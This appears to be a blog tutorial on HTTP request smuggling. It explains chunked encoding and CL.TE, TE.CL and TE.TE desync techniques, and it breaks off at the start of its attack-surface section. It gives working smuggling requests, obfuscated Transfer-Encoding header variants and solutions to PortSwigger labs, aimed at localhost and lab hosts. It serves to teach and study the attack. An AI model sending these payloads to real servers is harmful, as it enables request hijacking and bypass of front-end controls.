DESYNC ATTACKS. I wanted to take the time to study it a few months ago, but I haven\u0026rsquo;t had much time. I recently took a look at it.\nSorry for my bad English. If you can read Chinese, I recommend you to read this in Chinese. The Chinese part is here 一篇文章带你读懂 HTTP Smuggling 攻击.\nWhen I researched the other day, it happened that mengchen@Knownsec 404 Team also published an article, which also brought me more inspiration. The author\u0026rsquo;s article is very good. I strongly recommend reading it. Here I combine the author\u0026rsquo;s article with some of my own understanding. This article can also be understood as a supplement and a more detailed description of that article.\nThe entire article was delayed for about two months because of my time. The middle time interval may be longer, so the article will have more omissions, please forgive me. It is not easy to write. Recently, I have been paying attention to this aspect of security issues. Welcome to study and discuss together: ) Contact: emVkZHl1Lmx1QGdtYWlsLmNvbQ==\nIn the future, if there is a new summary, I will also send my blog.\nTL;NR Pic from https://twitter.com/SpiderSec/status/1200413390339887104?s=19\nTimeLine Before we mention HTTP Smuggling, let\u0026rsquo;s take a look at the evolution process:\n@Amit Klein proposed the HTTP Response Splitting technology in 2004, which is the prototype of the HTTP Smuggling attack.\nAbout HTTP Smuggling This attack method was first proposed by @Watchfire in 2005 HTTP Request Smuggling.\nHTTP Parameter Pollution (HPP), also known as HTTP parameter pollution, is actually a special HTTP Smuggling attack. It was first proposed by @Stefano di Paola \u0026amp; @Luca Carettoni at the OWASP Poland conference in 2009. It caused a big sensation and was widely used in bypassing WAF.\nDefcon 24 in 2016, @regilero proposed Hiding Wookiees In Http, Further reveals the HTTP Smuggling attack.\nDefcon 27 in 2019, @James Kettle proposed [HTTP Desync Attacks: Smashing into the Cell Next Door](https://media.defcon.org/DEF%20CON%2027/DEF%20CON%2027%20presentations/DEFCON- 27-albinowax-HTTP-Desync-Attacks.pdf), explained How to use PayPal vulnerability with HTTP Smuggling technology.\nCauses However, @James Kettle\u0026rsquo;s PPT did not describe in detail what the attack was and how it was formed. At first, I still had very big doubts after reading it. Then I learned about the HTTP Smuggling\u0026rsquo;s in the @regilero blog. Article, I have a clear understanding.\nHTTP Connection Mod In the protocol design before HTTP1.0, every time a client makes an HTTP request, it needs to establish a TCP connection with the server. Modern web site pages are composed of multiple resources. We need to obtain the content of a web page, not only request HTML documents, but also various resources such as JS, CSS, and images. , It will cause the load overhead of the HTTP server to increase. So in HTTP1.1, Keep-Alive and Pipeline were added.\nKeep-Alive According to RFC7230:\n​\tHTTP/1.1 defaults to the use of \u0026ldquo;persistent connections\u0026rdquo;, allowing multiple requests and responses to be carried over a single connection. The \u0026ldquo;close\u0026rdquo; connection option is used to signal that a connection will not persist after the current request/response. HTTP implementations SHOULD support persistent connections.\nKeep-Alive is used by default in HTTP/1.1, allowing multiple requests and responses to be hosted on a single connection.\n​\tThe so-called Keep-Alive, is to add a special request header Connection: Keep-Alive in the HTTP request, tell the server, after receiving this HTTP request, do not close the TCP link, followed by the same target server HTTP Request, reuse this TCP link, so only need to perform a TCP handshake process, which can reduce server overhead, save resources, and speed up access. Of course, this feature is enabled by default in HTTP1.1.\nOf course, some requests carry Connection: close, after the communication is completed, the server will interrupt the TCP connection.\nPipline With Keep-Alive, there will be a Pipeline, and the client can send its own HTTP request like a pipeline without waiting for the response from the server. After receiving the request, the server needs to follow the first-in first-out mechanism, strictly correlate the request and response, and then send the response to the client.\nNowadays, the browser does not enable Pipeline by default, but the general server provides support for Pipleline.\nThe more important introduction in HTTP / 1.1 is the pipeline technology. The following is a comparison chart with and without piepeline technology:\nWe can clearly see that after using the pipeline, there is no need to wait for the previous request to complete its response before processing the second request. This is like asynchronous processing.\nMessage Body https://tools.ietf.org/html/rfc7230##section-3.3\nTransfer-Encoding Transfer-Encoding is analogous to the Content-Transfer-Encoding field of MIME, which was designed to enable safe transport of binary data over a 7-bit transport service ([RFC2045], Section 6). However, safe transport has a different focus for an 8bit-clean transfer protocol. In HTTP\u0026rsquo;s case, Transfer-Encoding is primarily intended to accurately delimit a dynamically generated payload and to distinguish payload encodings that are only applied for transport efficiency or security from those that are characteristics of the selected resource.\nTransfer-Encoding is a field designed to support the secure transmission of binary data by 7-bit transfer services. It is somewhat similar to Content-Transfer-Encoding in the MIME (Multipurpose Internet Mail Extensions) header. In the case of HTTP, Transfer-Encoding is mainly used to encode the payload body in a specified encoding form for secure transmission to the user. Introduced in HTTP/1.1 and deprecated in HTTP/2.\nMDN lists several attributes:\n1 chunked | compress | deflate | gzip | identity Here we mainly focus on chunked, a transmission encoding method, which is not mentioned for the first time in a network attack. It also used in bypassing WAF frequently.\nWe can see the definition specification of chunk transmission in RFC7230.\n4.1. Chunked Transfer Coding\nThe chunked transfer coding wraps the payload body in order to transfer it as a series of chunks, each with its own size indicator, followed by an OPTIONAL trailer containing header fields. Chunked enables content streams of unknown size to be transferred as a sequence of length-delimited buffers, which enables the sender to retain connection persistence and the recipient to know when it has received the entire message.\nchunked-body = *chunk last-chunk trailer-part CRLF chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF chunk-size = 1*HEXDIG last-chunk = 1*(\u0026quot;0\u0026quot;) [ chunk-ext ] CRLF chunk-data = 1*OCTET ; a sequence of chunk-size octets The chunk-size field is a string of hex digits indicating the size of the chunk-data in octets. The chunked transfer coding is complete when a chunk with a chunk-size of zero is received, possibly followed by a trailer, and finally terminated by an empty line.\nA recipient MUST be able to parse and decode the chunked transfer coding.\n4.1.1. Chunk Extensions\nThe chunked encoding allows each chunk to include zero or more chunk extensions, immediately following the chunk-size, for the sake of supplying per-chunk metadata (such as a signature or hash), mid-message control information, or randomization of message body size.\nchunk-ext = *( \u0026quot;;\u0026quot; chunk-ext-name [ \u0026quot;=\u0026quot; chunk-ext-val ] ) chunk-ext-name = token chunk-ext-val = token / quoted-string The chunked encoding is specific to each connection and is likely to be removed or recoded by each recipient (including intermediaries) before any higher-level application would have a chance to inspect the extensions. Hence, use of chunk extensions is generally limited\nto specialized HTTP services such as \u0026ldquo;long polling\u0026rdquo; (where client and server can have shared expectations regarding the use of chunk extensions) or for padding within an end-to-end secured connection.\nA recipient MUST ignore unrecognized chunk extensions. A server ought to limit the total length of chunk extensions received in a request to an amount reasonable for the services provided, in the same way that it applies length limitations and timeouts for other parts of a message, and generate an appropriate 4xx (Client Error) response if that amount is exceeded.\nIf you don\u0026rsquo;t want to look too carefully here, we just need to understand what kind of structure it is. You can also refer to Wiki: Chunked transfer encoding, for example if we want to send the following message using chunked.\n1 Wikipedia in\\r\\n\\r\\nchunks. We can send it like this:\n1 2 3 4 5 6 7 8 9 10 11 12 13 POSTT /xxx HTTP/1.1 Host: xxx Content-Type: text/plain Transfer-Encoding: chunked 4\\r\\n Wiki\\r\\n 5\\r\\n pedia\\r\\n e\\r\\n in\\r\\n\\r\\nchunks.\\r\\n 0\\r\\n \\r\\n Here is a brief explanation. **We use \\r\\n for CRLF, so\\r\\n is two bytes **; the first number 4 indicates that there will be 4 bytes data next, which is the 4 letters of Wiki, and according to the RFC document standard, the letter Wiki part needs to be followed by \\r\\n to indicate the chunk-data part, and the number 4 needs to be followed by \\r\\n to indicate the chunk -size part, and the number is a hexadecimal number, such as the third data.\n1 2 e\\r\\n in\\r\\n\\r\\nchunks.\\r\\n Here the first space exists, the \\r\\n in the data counts two characters, and the last \\r\\n indicates the end of the data. In this case, the first space is 1 byte + in 2 bytes letter + 2 \\r\\n counts 4 bytes + \u0026lsquo;chunks.\u0026rsquo; 7 bytes letter = 14 bytes, 14 is \u0026rsquo;e\u0026rsquo; in hexadecimal.\nThe last 0\\r\\n\\r\\n indicates the end of the chunk section.\nBackground In itself, these things are not harmful, they are used to increase the network transmission rate in various ways, but in some special cases, some corresponding security problems will occur.\n​\tIn order to improve the user\u0026rsquo;s browsing speed, improve the user experience, and reduce the burden on the server, many websites use the CDN acceleration service. The simplest acceleration service is to add a reverse proxy server with caching function in front of the source station. When the user requests some static resources, it can be obtained directly from the proxy server without having to obtain it from the source server. This has a very typical topology.\nHere is a picture from @mengchen :\nGenerally speaking, the reverse proxy and back-end server will not use pipeline technology, or even keep-alive. The measures taken by the reverse proxy is to reuse the TCP connection, because compare with the reverse proxy and back-end server, the reverse proxy server and the back-end server IP are relatively fixed, and requests from different users establish a link with the back-end server through the proxy server, and the TCP link between the two is reused.\n​\tWhen we send a fuzzy HTTP request to the proxy server, because the implementation of the two servers is different, the proxy server may consider this to be a HTTP request and then forward it to the source server of the back-end. However, after the source server is parsed, only part of it is a normal request, and the remaining part is a smuggling request. When the part affects the normal user\u0026rsquo;s request, the HTTP smuggling attack is implemented.\nThe HTTP Smuggling attack is based on the inconsistency between the reverse proxy and the backend server in parsing and processing HTTP requests. Using this difference, we can embed another HTTP request in order to achieve our purpose of “smuggling” the request. It directly shows that we can access intranet services or cause some other attacks.\nAttack Method Since it is based on analytical differences, what analytical differences will we have? The scenario is the scenario above, but we simplify it and fix the back-end server to one, there is no certain probability. In other words, the architecture is similar to the following diagram:\n1 2 3 4 5 6 User Front Backend | | | |------A-------\u0026gt;| | | |-------A------\u0026gt;| | |\u0026lt;-A(200)-------| |\u0026lt;-A(200)-------| | We know that both Content-Length and Transfer-Encoding can be used as a way to process the body during POST data transmission. In order to facilitate reading and writing, we have the following shorthand rules for field processing priority rules:\nCL.TE: the front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header. TE.CL: the front-end server uses the Transfer-Encoding header and the back-end server uses the Content-Length header. And Front represents a typical front-end server such as a reverse proxy, and Backend represents a back-end business server that processes requests. In the following, \\r\\n is used instead of CRLF, and the length is two bytes.\nChunks Priority On Content-Length Some may see that this will have the same confusion as me. Is the RFC document not standardized for CL \u0026amp; TE parsing priorities? Yes, we can read RFC 7230 Message Body Length:\n​\tIf a message is received with both a Transfer-Encoding and a Content-Length header field, the Transfer-Encoding overrides the Content-Length. Such a message might indicate an attempt to perform request smuggling (Section 9.5) or response splitting (Section 9.4) and ought to be handled as an error. A sender MUST remove the received Content-Length field prior to forwarding such a message downstream.\nAlthough it is pointed out that TL takes precedence over CL, we can still bypass it in some ways, or that the middleware is not implemented in accordance with this RFC standard specification, which leads to differences.\nFor example, we use the following code to send an HTTP request:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 printf \u0026#39;GET / HTTP/1.1\\r\\n\u0026#39;\\ \u0026#39;Host:localhost\\r\\n\u0026#39;\\ \u0026#39;Content-length:56\\r\\n\u0026#39;\\ \u0026#39;Transfer-Encoding: chunked\\r\\n\u0026#39;\\ \u0026#39;Dummy:Header\\r\\n\\r\\n\u0026#39;\\ \u0026#39;0\\r\\n\u0026#39;\\ \u0026#39;\\r\\n\u0026#39;\\ \u0026#39;GET /tmp HTTP/1.1\\r\\n\u0026#39;\\ \u0026#39;Host:localhost\\r\\n\u0026#39;\\ \u0026#39;Dummy:Header\\r\\n\u0026#39;\\ \u0026#39;\\r\\n\u0026#39;\\ \u0026#39;GET /tests HTTP/1.1\\r\\n\u0026#39;\\ \u0026#39;Host:localhost\\r\\n\u0026#39;\\ \u0026#39;Dummy:Header\\r\\n\u0026#39;\\ \u0026#39;\\r\\n\u0026#39;\\ | nc -q3 127.0.0.1 8080 The above correct resolution should be resolved into three requests:\n1 2 3 4 5 6 7 GET / HTTP/1.1 Host:localhost Content-length:56 Transfer-Encoding: chunked Dummy:Header 0 1 2 3 GET /tmp HTTP/1.1 Host:localhost Dummy:Header 1 2 3 GET /tests HTTP/1.1 Host:localhost Dummy:Header If there is a TE \u0026amp; CL priority problem, it will be parsed into two requests:\n1 2 3 4 5 6 7 8 9 10 11 GET / HTTP/1.1[CRLF] Host:localhost[CRLF] Content-length:56[CRLF] Transfer-Encoding: chunked[CRLF] (ignored and removed, hopefully) Dummy:Header[CRLF] [CRLF] 0[CRLF] (start of 56 bytes of body) [CRLF] GET /tmp HTTP/1.1[CRLF] Host:localhost[CRLF] Dummy:Header[CRLF] (end of 56 bytes of body, not parsed) 1 2 3 GET /tests HTTP/1.1 Host:localhost Dummy:Header Bad Chunked Transmission According to RFC7230 section 3.3.3 ：\nIf a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding, the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request) status code and then close the connection.\nWhen receiving Transfer-Encoding: chunked, zorg, it should return a 400 error.\nWe have a lot payloads to bypass it. Such as:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Transfer-Encoding: xchunked Transfer-Encoding : chunked Transfer-Encoding: chunked Transfer-Encoding: x Transfer-Encoding:[tab]chunked GET / HTTP/1.1 Transfer-Encoding: chunked X: X[\\n]Transfer-Encoding: chunked Transfer-Encoding : chunked Null In Headers This problem is more likely to occur in some middleware servers written in C language, because \\0 stands for the end of string character in C language. When used in the header, if we use \\0, some middleware may appear abnormal Parsing.\nSuch as:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ## 2 responses instead of 3 (2nd query is wipped out by pound, used as a body) printf \u0026#39;GET / HTTP/1.1\\r\\n\u0026#39;\\ \u0026#39;Host:localhost\\r\\n\u0026#39;\\ \u0026#39;Content-\\0dummy: foo\\r\\n\u0026#39;\\ \u0026#39;length: 56\\r\\n\u0026#39;\\ \u0026#39;Transfer-Encoding: chunked\\r\\n\u0026#39;\\ \u0026#39;Dummy:Header\\r\\n\u0026#39;\\ \u0026#39;\\r\\n\u0026#39;\\ \u0026#39;0\\r\\n\u0026#39;\\ \u0026#39;\\r\\n\u0026#39;\\ \u0026#39;GET /tmp HTTP/1.1\\r\\n\u0026#39;\\ \u0026#39;Host:localhost\\r\\n\u0026#39;\\ \u0026#39;Dummy:Header\\r\\n\u0026#39;\\ \u0026#39;\\r\\n\u0026#39;\\ \u0026#39;GET /tests HTTP/1.1\\r\\n\u0026#39;\\ \u0026#39;Host:localhost\\r\\n\u0026#39;\\ \u0026#39;Dummy:Header\\r\\n\u0026#39;\\ \u0026#39;\\r\\n\u0026#39;\\ | nc -q3 127.0.0.1 8080 When some middleware processes the above request, when it encounters \\0, it will continue to read lines, which will also cause parsing differences.\nCRLF According to RFC7320 section-3.5:\nAlthough the line terminator for the start-line and header fields is the sequence CRLF, a recipient MAY recognize a single LF as a line terminator and ignore any preceding CR.\nIn other words, in addition to CRLF, we can also use LF as EOL, but in the version of Node.js \u0026lt;5.6.0, the handling of CRLF is also more interesting:\n1 [CR] + ? == [CR][LF]\t//true Suppose we have a Front server that parses CRLF normally, and the backend is a Node.js service with this vulnerability. We can send the following request:\n1 2 3 4 5 6 7 8 9 10 GET / HTTP/1.1\\r\\n Host:localhost\\r\\n Dummy: Header\\rZTransfer-Encoding: chunked\\r\\n Content-length: 52\\r\\n \\r\\n 0\\r\\n \\r\\n GET /tmp HTTP/1.1\\r\\n Host:localhost\\r\\n Dummy:Header\\r\\n The front server will think that Dummy: Header\\rZTransfer-Encoding: chunked\\r\\n is a header. When use CL header parsing, it will consider this a complete request, and Node.js will consider \\rZ as a Newline, according to the parsing rule that TE takes precedence over CL, it is considered that these are two requests, resulting in parsing differences.\nSize Issue You can also use some coded block lengths to generate parsing differences\nSuch as:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 printf \u0026#39;GET / HTTP/1.1\\r\\n\u0026#39;\\ \u0026#39;Host:localhost\\r\\n\u0026#39;\\ \u0026#39;Transfer-Encoding: chunked\\r\\n\u0026#39;\\ \u0026#39;Dummy:Header\\r\\n\u0026#39;\\ \u0026#39;\\r\\n\u0026#39;\\ \u0026#39;0000000000000000000000000000042\\r\\n\u0026#39;\\ \u0026#39;\\r\\n\u0026#39;\\ \u0026#39;GET /tmp/ HTTP/1.1\\r\\n\u0026#39;\\ \u0026#39;Host:localhost\\r\\n\u0026#39;\\ \u0026#39;Transfer-Encoding: chunked\\r\\n\u0026#39;\\ \u0026#39;\\r\\n\u0026#39;\\ \u0026#39;0\\r\\n\u0026#39;\\ \u0026#39;\\r\\n\u0026#39;\\ | nc -q3 127.0.0.1 8080 Some middleware will truncate the chunk length data when parsing the chunk size data. For example, here it is shown as only taking 0000000000000000000000000000042 as 00000000000000000, so it will be considered that these are two requests. The first request\u0026rsquo;s chunk size is 0. The second will request /tmp, which results in HTTP Smuggling.\nHTTP Version This is mainly due to the problem caused by HTTP/0.9. Let\u0026rsquo;s take a look at several examples of HTTP:\nHTTP v1.1\n1 2 GET /foo HTTP/1.1\\r\\n Host: example.com\\r\\n HTTP v1.0\n1 2 GET /foo HTTP/1.0\\r\\n \\r\\n HTTP v0.9\n1 GET /foo\\r\\n And HTTP/0.9 request and response packets do not have headers. Such as:\nBecause HTTP/0.9 response packets do not have headers, they are particularly interesting to be used in HTTP Smuggling.\nThe meaning of this picture is that we use HTTP/0.9 for Smuggle when HTTP Smuggling. This is not the HTTP/0.9 standard format, but because some middleware no longer supports the standard format of directly parsing HTTP/0.9, but it is still possible to parse specified HTTP version. Then the following situations may exist:\nThe above two figures show a rough attack flow. The 24-33664 bytes in chewy2.jpg have a complete HTTP response message. When Golang is processing HTTP/0.9, since we specified Range: bytes=24-33664, we can specify to obtain 24-33664 bytes of the response message, which is to obtain the HTTP message we stored in the picture, and then return it to Golang. Golang standardizes HTTP/0.9 and then remove headers. So the response looks like a new response.\nWhen a normal user requests, if Apache reuses the TCP / IP link, it will return the HTTP message we constructed in the picture as a response packet to the user. This is also a very typical idea of HTTP Response Splitting. For details, please see the video demo HTTP Smuggling Examples 2016\nHas a CL in GET In this scenario, the body is used in the GET request, and the length of the body is indicated by Content-Length.\nGET request is not the only one that get affected. I just use it as an example because it is typical. All HTTP requests that do not carry the request body may be affected by this.\nAccording to RFC7230 Content-Length:\nFor example, a Content-Length header field is normally sent in a POST request even when the value is 0 (indicating an empty payload body). A user agent SHOULD NOT send a Content-Length header field when the request message does not contain a payload body and the method semantics do not anticipate such a body.\nIn the newest RFC7231 4.3.1 GET also just mention a sentence：\nA payload within a GET request message has no defined semantics; sending a payload body on a GET request might cause some existing implementations to reject the request.\nFor requests that have a body field and indicate the length of the body with Content-Length, the RFC does not strictly explain how the server should handle it, so most middleware also loosely handles GET requests with a body, but this is also part of the situation Because these middlewares do not have a strict standard basis, parsing differences can also cause HTTP Smuggling attacks.\nHere we give a simple and idealized example. The Front server allows body for GET requests, while the Backend server ignores GET requests with body.\nWhen we send following requests：\n1 2 3 4 5 6 7 GET / HTTP/1.1\\r\\n Host: example.com\\r\\n Content-Length: 41\\r\\n \\r\\n GET /secret HTTP/1.1\\r\\n Host: example.com\\r\\n \\r\\n When the Front server processes this request, it will forward the above request to the Backend server as a complete request, and the Backend service will treat this request as two requests when processing this server.\n1 2 3 4 GET / HTTP/1.1\\r\\n Host: example.com\\r\\n Content-Length: 41\\r\\n \\r\\n 1 2 3 GET /secret HTTP/1.1\\r\\n Host: example.com\\r\\n \\r\\n In this way, we can successfully perform HTTP Smuggling. From this example, it is not difficult to see that if there is a HTTP Smuggling vulnerability in the scene, then the Content-Length data becomes extra important because it affects us. Whether the attack was successful and whether our HTTP request was successfully embedded in an HTTP request.\nThe calculation method here is similar to the previous.\n1 2 GET /secret HTTP/1.1\\r\\n\t--\u0026gt;\t\u0026#34;GET /secret HTTP/1.1\u0026#34; 20 characters in total, plus 22 characters in CRLF Host: example.com\\r\\n\t--\u0026gt;\t\u0026#34;Host: example.com\u0026#34; 17 characters in total, plus 19 characters in CRLF 22 + 19 = 41 Bytes.\nTwo Identical Fields - CL Here we take Content-Length as an example. According to RFC7230 section 3.3.2:\nIf a message is received that has multiple Content-Length header fields with field-values consisting of the same decimal value, or a single Content-Length header field with a field value containing a list of identical decimal values (e.g., \u0026ldquo;Content-Length: 42, 42\u0026rdquo;), indicating that duplicate Content-Length header fields have been generated or combined by an upstream message processor, then the recipient MUST either reject the message as invalid or replace the duplicated field-values with a single valid Content-Length field containing that decimal value prior to determining the message body length or forwarding the message.\nAnd in the RFC 7230 section 3.3.3 also mention this:\nIf a message is received without Transfer-Encoding and with either multiple Content-Length header fields having differing field-values or a single Content-Length header field having an invalid value, then the message framing is invalid and the recipient MUST treat it as an unrecoverable error. If this is a request message, the server MUST respond with a 400 (Bad Request) status code and then close the connection.\nThe RFC also has a relatively clear specification for this situation, but let\u0026rsquo;s assume here a relatively simple example. We send the following request:\n1 2 3 4 5 6 7 8 GET /suzann.html HTTP/1.1\\r\\n Host: example.com\\r\\n Content-Length: 0\\r\\n Content-Length: 46\\r\\n \\r\\n GET /walter.html HTTP/1.1\\r\\n Host: example.com\\r\\n \\r\\n Here, we assume that the Front server uses the second Content-Length as the parsing standard, discarding the first Content-Length field or doing nothing to the first or anything else, assuming it only processes the second Content-Length field; we are assuming that the Backend server uses the first Content-Length field as the parsing standard, and ignore the second.\nThis is equivalent to injecting another HTTP request into the HTTP request. If the entire scenario looks like ours, there is an HTTP Smuggling attack.\nFor example, if the server uses the first Content-Length as the parsing standard, two HTTP requests will appear in the parsing. If the second is used as the parsing standard, it will be considered that there is only one HTTP request.\nOptional WhiteSpace RFC7320 describes the header field like this:\n3.2. Header Fields\nEach header field consists of a case-insensitive field name followed by a colon (\u0026quot;:\u0026quot;), optional leading whitespace, the field value, and optional trailing whitespace.\n1 2 3 4 5 6 7 8 9 10 header-field = field-name \u0026#34;:\u0026#34; OWS field-value OWS field-name = token field-value = *( field-content / obs-fold ) field-content = field-vchar [ 1*( SP / HTAB ) field-vchar ] field-vchar = VCHAR / obs-text obs-fold = CRLF 1*( SP / HTAB ) ; obsolete line folding ; see Section 3.2.4 The field-name token labels the corresponding field-value as having the semantics defined by that header field. For example, the Date header field is defined in Section 7.1.1.2 of [RFC7231] as containing the origination timestamp for the message in which it appears.\nIn particular, the first sentence indicates that the field should be immediately followed by : colon, then OWS (Optional WhiteSpace) optional space, then field value, and finally OWS optional space.\nWhat\u0026rsquo;s wrong with this? Obviously, if there is middleware that does not strictly follow the RFC standard for this implementation, HTTP Smuggling attacks will also occur.\nA typical example is CVE-2019-16869. This CVE was discovered by OPPO Meridian Internet Security Lab. It is about HTTP Smuggling vulnerability in Netty middleware.\nPrior to Netty 4.1.42.Final, the processing of Header headers was using [splitHeader](https://github.com/netty/netty/blob/netty-4.1.41.Final/codec-http/src/main/ java / io / netty / handler / codec / http / HttpObjectDecoder.java) method, where the key code is as follows:\n1 2 3 4 5 6 for (nameEnd = nameStart; nameEnd \u0026lt; length; nameEnd ++) { char ch = sb.charAt(nameEnd); if (ch == \u0026#39;:\u0026#39; || Character.isWhitespace(ch)) { break; } } We don\u0026rsquo;t need to know much about other codes. Here we can know that white space is treated the same as : colon, that is, if there is a space, the field name before : will be processed normally and will not be thrown error or other operations. This is inconsistent with the specifications of the RFC standard, and parsing differences will occur.\n@ Bi3g0 built a clearer schematic of the vulnerability:\nThe example used here is to use ELB as the front server and Netty as the backend server. We send the following request:\n1 2 3 4 5 6 7 8 9 10 POST /getusers HTTP/1.1 Host: www.backend.com Content-Length: 64 Transfer-Encoding : chunked 0 GET /hacker HTTP/1.1 Host: www.hacker.com hacker: hacker ELB will ignore the Transfer-Encoding field, because there is a space between the colon and the colon. It does not comply with the RFC standard. It will use Content-Length as the parsing standard, so it will consider the above request as a complete request, and then throw it to the Backend server Netty. Netty will parse Transfer-Encoding first. Even if this field does not comply with the RFC standard, but because its implementation is not strict, it will split this request into two because it parses Transfer-Encoding first.\n1 2 3 4 5 6 POST /getusers HTTP/1.1 Host: www.backend.com Content-Length: 64 Transfer-Encoding : chunked 0 1 2 3 GET /hacker HTTP/1.1 Host: www.hacker.com hacker: hacker This result in HTTP smuggling.\nNetty fixed this vulnerability in 4.1.42 Final: Correctly handle whitespaces in HTTP header names as defined by RFC72 \u0026hellip;\nWhen we send a header request with a space between field name and colon, netty returns 400 correctly.\nCL-TE In the next few attack methods, we can use some Labs provided by @portswigger to practice for us to deepen our understanding. Labs-HTTP request smuggling\nRemember to cancel BurpSuite\u0026rsquo;s automatic update Content-Length function before doing it.\nFirst let\u0026rsquo;s look at the situation of CL-TE: Lab: HTTP request smuggling, basic CL.TE vulnerability\nThis lab involves a front-end and back-end server, and the front-end server doesn\u0026rsquo;t support chunked encoding. The front-end server rejects requests that aren\u0026rsquo;t using the GET or POST method.\nTo solve the lab, smuggle a request to the back-end server, so that the next request processed by the back-end server appears to use the method GPOST.\nAccording to the chall, we only need to let the Backend server receive the GPOST method, and the scenario clearly tells us that it is a CL-TE scenario.\n1 2 3 4 5 6 7 8 9 POST / HTTP/1.1 Host: ac8f1fae1e6cd77b8073213100b500d6.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 6 Transfer-Encoding: chunked 0 G We can send above requests twice.\nWe can make the second method to construct the HTTP method of GPOST. For details, we can follow this flowchart to see:\n1 2 3 4 5 6 7 8 9 10 11 User Front Backend | | | |--A(1A+1/2B)--\u0026gt;| | | |--A(1A+1/2B)--\u0026gt;| | |\u0026lt;-A(200)-------| | | [1/2B] |\u0026lt;-A(200)-------| [1/2B] |--C-----------\u0026gt;| [1/2B] | |--C-----------\u0026gt;| * ending B * | |\u0026lt;--B(200)------| |\u0026lt;--B(200)------| | 1A + 1/2B means request A + an incomplete query B A(X) : means X query is hidden in body of query A ending B: the 1st line of query C ends the incomplete header of query B. all others headers are added to the query. C disappears and mix C HTTP credentials with all previous B headers (cookie/bearer token/Host, etc.) The whole process is that when we send the above request and the Front server preferentially processes with CL, it will think the following data which is 6 bytes is the body of request A.\n1 2 3 0\\r\\n \\r\\n G This request A will be forwarded to the backend as a complete request, and when the backend server preferentially processes it with TE, it will consider follwing data is a complete request.\n1 2 3 4 5 6 7 POST / HTTP/1.1 Host: ac8f1fae1e6cd77b8073213100b500d6.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 6 Transfer-Encoding: chunked 0 But the alone letter \u0026lsquo;G\u0026rsquo;, it will be considered as an incomplete request. So a 1/2 B request will be generated, so it will wait for the arrival of other data at the Backend server buffer to make the 1/2 B spliced into a complete request. When we send the second request, POST will be concatenated behind G, so the HTTP Method will become the GPOST method, which is the echo that we see, the unrecognized HTTP Method GPOST.\nTE-CL Next we look at the situation of TE-CL. Similarly, we use LAB experiments to deepen our understanding.：Lab: HTTP request smuggling, basic TE.CL vulnerability\nThis lab involves a front-end and back-end server, and the back-end server doesn\u0026rsquo;t support chunked encoding. The front-end server rejects requests that aren\u0026rsquo;t using the GET or POST method.\nTo solve the lab, smuggle a request to the back-end server, so that the next request processed by the back-end server appears to use the method GPOST.\nAccording to the chall, what we want to achieve is still to let the backend receive the GPOST request, and the scenario clearly tells us that it is a TE-CL scenario.\n1 2 3 4 5 6 7 8 9 POST / HTTP/1.1 Host: acde1ffc1f047f9f8007186200ff00fe.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked 12 GPOST / HTTP/1.1 0 It should be noted here that at the end you need to add two CRLFs to construct chunk data.\n1 2 0\\r\\n \\r\\n Here we can send more than two HTTP request packets, and we can receive the response as shown below.\nThe process flow is similar to CL-TE. When the Front server processes this request, it will be processed first according to TE. It will consider the above request as a whole and then forward it to the Backend server. When the Backend server processes it according to CL, it will consider that 12\\r\\n is the body of the first request, the following is the second request, so it will respond to GPOST as an unrecognized HTTP Method.\nTwo Identical Fields - TE Here we look at the situation where TE exists. Similarly, we use LAB experiments to deepen our understanding:Lab: HTTP request smuggling, obfuscating the TE header\nThis lab involves a front-end and back-end server, and the two servers handle duplicate HTTP request headers in different ways. The front-end server rejects requests that aren\u0026rsquo;t using the GET or POST method.\nTo solve the lab, smuggle a request to the back-end server, so that the next request processed by the back-end server appears to use the method GPOST.\nAccording to the chall, what we want to achieve is still to let the backend receive the GPOST request, and the scenario clearly tells us that it is a TE-TE scenario. In fact, this scenario can also be considered as the processing of the same field. For example, when processing two TE fields, if the second TE field is taken as the parsing standard, and the second field value is abnormal or the parsing error, it may be ignored. TE field, and CL field for parsing. For example, in this LAB, we send the following request twice.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 POST / HTTP/1.1 Host: acfd1f201f5fb528809b582e004200a3.web-security-academy.net User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: session=9swxitdhJRXeFhq77wGSU7fKw0VTiuzQ Cache-Control: max-age=0 Content-length: 4 Transfer-Encoding: chunked Transfer-encoding: nothing 12 GPOST / HTTP/1.1 0 Here is the same as the previous scenario, you need to add two CRLF at the end.\n1 2 0\\r\\n \\r\\n We can get the response as shown below.\nWe can see that two TE fields are used here, and the value of the second TE field is non-standard. Here, Front chooses to process the first TE first. The entire request is a normal request and will be forwarded to the Backend server. The backend server prioritizes the second TE. If the second TE value is abnormal, the CL field will be used for processing. This request will be split into two requests due to the CL field value 4.\nThe first request:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST / HTTP/1.1 Host: acfd1f201f5fb528809b582e004200a3.web-security-academy.net User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: session=9swxitdhJRXeFhq77wGSU7fKw0VTiuzQ Cache-Control: max-age=0 Content-length: 4 Transfer-Encoding: chunked Transfer-encoding: nothing 12 The second:\n1 2 3 GPOST / HTTP/1.1 0 This sent an unrecognized HTTP Method GPOST request.\nAttack Surface Above we have introduced several attack methods, let us see what these attack methods can be used for. We will also cooperate with the experimental environment to help understand and 